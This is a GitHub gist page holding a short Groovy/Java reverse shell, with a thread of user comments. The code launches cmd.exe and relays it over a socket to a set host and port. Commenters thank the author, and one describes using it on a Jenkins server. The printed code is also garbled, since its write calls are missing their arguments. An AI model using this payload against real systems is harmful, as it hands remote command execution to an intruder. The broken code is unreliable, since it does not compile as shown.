Skip to content

Instantly share code, notes, and snippets.

Created March 2, 2016 18:55
Show Gist options
  • Save frohoff/fed1ffaab9b9beeb1c76 to your computer and use it in GitHub Desktop.
Save frohoff/fed1ffaab9b9beeb1c76 to your computer and use it in GitHub Desktop.
Pure Groovy/Java Reverse Shell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(;while(pe.available()>0)so.write(;while(si.available()>0)po.write(;so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Copy link

Very Nice!

Copy link

N0ur5 commented Nov 27, 2018

I know I'm late on this, but some things are timeless. This just worked great for me. I simply needed to switch out cmd.exe with /bin/bash because Jenkins was running on a Linux box. Thanks for this!

Copy link

zinzloun commented Jun 4, 2020

Well done!

Copy link

Thanks Man

Copy link

elnazkm commented Feb 3, 2021

I tried t run this however I got the error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script1.groovy: 11: the break statement is only allowed inside loops or switches
@ line 11, column 431.
.sleep(50);try {p.exitValue();break;}cat

Copy link

buenisima si señor :)

Copy link

thank you sir.

Copy link

Very nice, thank you!

Copy link

Still working! Thanks

Copy link

Thanks bro <3

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment